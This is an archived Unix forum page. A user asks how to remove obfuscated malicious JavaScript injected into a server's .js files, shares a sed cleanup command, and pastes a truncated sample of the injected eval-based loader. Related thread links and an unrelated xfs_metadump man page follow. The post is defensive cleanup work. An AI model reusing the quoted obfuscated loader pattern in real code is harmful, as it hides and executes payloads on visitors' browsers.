Sponsored Content
Top Forums Shell Programming and Scripting Removing obfuscated javascript from js files Post 302665365 by cuantica on Monday 2nd of July 2012 11:33:58 AM
Old 07-02-2012
Removing obfuscated javascript from js files

ello, I am trying to remove obfuscated code in multiple files on a server, the malicious code is surronded by

Code:
/*km0ae9gr6m*//*qhk6sa6g1c*/

I had success removing from some files using this command

Code:
sed -i ':strt;s|/\*km0ae9gr6m\*/[^/]*/\*qhk6sa6g1c\*/||g;/\/\*km0ae9gr6m\*\//{N;b strt}' fileaffected.js

But it failed on this pattern

Code:
/*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[312,420,100,200,303,440,34,118,96,40,32
...
more bytecode
...
,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/

Any suggestions?

Last edited by methyl; 07-02-2012 at 02:17 PM.. Reason: please use code tags
 

9 More Discussions You Might Find Interesting

1. Programming

Obfuscated C

Well this year i decided to enter the International Obfuscated C Code Contest. This was my first attempt at writing obfuscated C (at least purposely), so I am sure that this is kids-stuff for the real obfuscation gurus. Anyway, the results are out, and I am not a finalist (I wasn't expecting to... (5 Replies)
Discussion started by: PxT
5 Replies

2. Shell Programming and Scripting

removing old files except configuration files and folders

Dear all, I want to remove files older than 2 months in the /home/member directory. But except the configuration files (like .bash_profile .config/ .openoffice/ .local/ .kde/ etc..) I have tried with the command find . -mtime +60 -wholename './.*' -prune -o -print -exec mv {} \; but it... (1 Reply)
Discussion started by: jamcalicut
1 Replies

3. Web Development

opening text files with javascript

Im aware under IE, javascript uses ActiveX Objects to open up and manipulate text files, excel files etc.. How abouts would I open a text file using javascript in Firefox ? thanks (1 Reply)
Discussion started by: JamesGoh
1 Replies

4. Shell Programming and Scripting

Help with Find/Replace Javascript Injected Strings in mulitple files

Hi, guys, I'm not a high-end programmer, but I've been trying to write a script to remove all of the b.rtbn2.cn (and b.adserv.cn and any future variation) injected script tags on the server. (Still working on security fixes to prevent it in the future, just need to clean up now.) My approach is... (1 Reply)
Discussion started by: zzlegs
1 Replies

5. Shell Programming and Scripting

recursively remove javascript from all folder index files

Hi All, A site I manage had some javascript inserted into each folders index file. Can anyone priovide me with some ideas on how to use awk, sed or some other bash script to parse through each of the site folders and remove this code? If I have to do it by hand I'm going to go insane. :eek: ... (2 Replies)
Discussion started by: lsalsich
2 Replies

6. Web Development

Random - Any help decoding obfuscated code?

I have this following file and I would quite like to get it decoded - any help / advice is appreciated. I would like to know how to decrypt it, however if someone is able to do it for me I would be equally grateful. <?php //Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2:... (6 Replies)
Discussion started by: mcclunyboy
6 Replies

7. Programming

Obfuscated "Hello World!" in Python 2.7.x...

Obfuscated Hello World! in Python 2.7.x This is seriously impressive:- Obfuscating "Hello world!" - Ben Kurtovic (2 Replies)
Discussion started by: wisecracker
2 Replies

8. UNIX for Dummies Questions & Answers

Help in Removing the Old files

Hi Gurus, we are planning to clear the old log files based on the year and i need help on this and i searched in google and i came up with the scripts but i am stuck with this. (1) wroks fine How many files exist in based on the extension find -type f | sed -e 's/.*\.//' | sort | uniq... (1 Reply)
Discussion started by: SeenuGuddu
1 Replies

9. UNIX for Beginners Questions & Answers

Find and removing the old files and zipping the files using shell script

Hi, I am trying to removing the old files which were older than 10 days and same g zipping the files using the shell script. script was return as follows. find /jboss7_homes/JBOSS7/SKYLIV??/SKYLIV??_CRM/jboss-eap-7.0/standalone/log -mtime +10 -type f | xargs rm -f find /cer_skyliv??/log... (6 Replies)
Discussion started by: venkat918
6 Replies
xfs_metadump(8) 					      System Manager's Manual						   xfs_metadump(8)

NAME
xfs_metadump - copy XFS filesystem metadata to a file SYNOPSIS
xfs_metadump [ -efgow ] [ -l logdev ] source target DESCRIPTION
xfs_metadump is a debugging tool that copies the metadata from an XFS filesystem to a file. The source argument must be the pathname of the device or file containing the XFS filesystem and the target argument specifies the destination file name. If target is -, then the output is sent to stdout. This allows the output to be redirected to another program such as a compression application. xfs_metadump should only be used to copy unmounted filesystems, read-only mounted filesystems, or frozen filesystems (see xfs_freeze(8)). Otherwise, the generated dump could be inconsistent or corrupt. xfs_metadump does not alter the source filesystem in any way. The target image is a contiguous (non-sparse) file containing all the filesystem's metadata and indexes to where the blocks were copied from. By default, xfs_metadump obfuscates most file (regular file, directory and symbolic link) names and extended attribute names to allow the dumps to be sent without revealing confidential information. Extended attribute values are zeroed and no data is copied. The only excep- tions are file or attribute names that are 4 or less characters in length. Also file names that span extents (this can only occur with the mkfs.xfs(8) options where -n size > -b size) are not obfuscated. Names between 5 and 8 characters in length inclusively are partially obfuscated. xfs_metadump should not be used for any purposes other than for debugging and reporting filesystem problems. The most common usage scenario for this tool is when xfs_repair(8) fails to repair a filesystem and a metadump image can be sent for analysis. The file generated by xfs_metadump can be restored to filesystem image (minus the data) using the xfs_mdrestore(8) tool. OPTIONS
-e Stops the dump on a read error. Normally, it will ignore read errors and copy all the metadata that is accessible. -f Specifies that the filesystem image to be processed is stored in a regular file (see the mkfs.xfs -d file option). This can also happen if an image copy of a filesystem has been made into an ordinary file with xfs_copy(8). -g Shows dump progress. This is sent to stdout if the target is a file or to stderr if the target is stdout. -l logdev For filesystems which use an external log, this specifies the device where the external log resides. The external log is not copied, only internal logs are copied. -o Disables obfuscation of file names and extended attributes. -w Prints warnings of inconsistent metadata encountered to stderr. Bad metadata is still copied. DIAGNOSTICS
xfs_metadump returns an exit code of 0 if all readable metadata is successfully copied or 1 if a write error occurs or a read error occurs and the -e option used. NOTES
As xfs_metadump copies metadata only, it does not matter if the source filesystem has a realtime section or not. If the filesystem has an external log, it is not copied. Internal logs are copied and any outstanding log transactions are not obfuscated if they contain names. xfs_metadump is a shell wrapper around the xfs_db(8) metadump command. SEE ALSO
xfs_repair(8), xfs_mdrestore(8), xfs_freeze(8), xfs_db(8), xfs_copy(8), xfs(5) BUGS
Email bug reports to xfs@oss.sgi.com. xfs_metadump(8)
All times are GMT -4. The time now is 06:26 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy